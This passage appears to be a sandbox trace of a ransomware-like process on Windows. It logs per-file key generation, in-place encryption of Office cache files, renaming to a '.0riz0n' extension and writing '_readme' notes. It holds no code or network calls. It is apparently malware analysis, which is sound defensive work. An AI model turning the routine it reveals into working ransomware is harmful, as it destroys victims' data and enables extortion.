lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0058.361] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.361] GetLastError () returned 0x5 [0058.361] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0058.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.362] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-TW", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.362] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0058.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.362] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0058.362] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.362] GetLastError () returned 0x5 [0058.363] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0058.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.363] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.363] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0058.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0058.363] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0058.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0058.364] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0058.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.364] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xed035930, dwHighDateTime=0x1d301be)) returned 1 [0058.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0058.365] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0058.381] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0058.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0058.381] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0058.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0058.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0058.383] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0058.383] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0058.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0058.383] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0058.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0058.984] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0059.065] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0059.065] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0059.182] FlushFileBuffers (hFile=0x1f0) returned 1 [0059.209] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0059.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x62fcc0) returned 0x2d60020 [0059.209] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x62fcbb, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x62fcbb, lpOverlapped=0x0) returned 1 [0059.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x62fcc0) returned 0x3390020 [0059.416] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0059.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3390020) returned 1 [0059.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6300c0) returned 0x2d60020 [0059.528] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x62fcbb, dwBufLen=0x6300bb | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x62fcc0) returned 1 [0059.579] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0059.605] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0059.605] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x62fcbb, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x62fcbb, lpOverlapped=0x0) returned 1 [0059.681] FlushFileBuffers (hFile=0x1f0) returned 1 [0059.699] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0059.699] NtClose (Handle=0x1f0) returned 0x0 [0059.973] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.0riz0n")) returned 1 [0059.976] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0059.976] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0059.976] GetLastError () returned 0x2 [0059.976] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed64c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0059.976] GetLastError () returned 0x2 [0059.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0059.977] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0059.977] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0059.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0059.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0059.978] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0059.978] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x38a1b110, dwHighDateTime=0x1d59598)) returned 1 [0059.979] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0059.979] NtClose (Handle=0x1f0) returned 0x0 [0059.979] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0059.980] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0059.980] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0059.980] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.021] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.021] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0060.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.022] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.022] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0060.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.022] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0060.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.022] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.022] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.023] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.023] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xece1ee80, dwHighDateTime=0x1d301be)) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.023] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.023] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.023] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.023] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.024] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.024] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263e00) returned 0x2350020 [0060.024] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x263e00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x263e00, lpOverlapped=0x0) returned 1 [0060.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263e00) returned 0x25c0020 [0060.110] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0060.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263e00) returned 0x2350020 [0060.120] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0060.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x264200) returned 0x25c0020 [0060.174] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263e00, dwBufLen=0x264200 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263e10) returned 1 [0060.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263e40) returned 0x2830020 [0060.215] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0060.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x25c0020) returned 1 [0060.236] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.236] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x263e00, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x263e00, lpOverlapped=0x0) returned 1 [0060.262] FlushFileBuffers (hFile=0x1f0) returned 1 [0060.271] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0060.271] NtClose (Handle=0x1f0) returned 0x0 [0060.306] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.0riz0n")) returned 1 [0060.307] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0060.307] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0060.307] GetLastError () returned 0x2 [0060.307] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed64e8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0060.307] GetLastError () returned 0x2 [0060.308] CreateFileW (lpFileName="C:\\MSOCache\\All 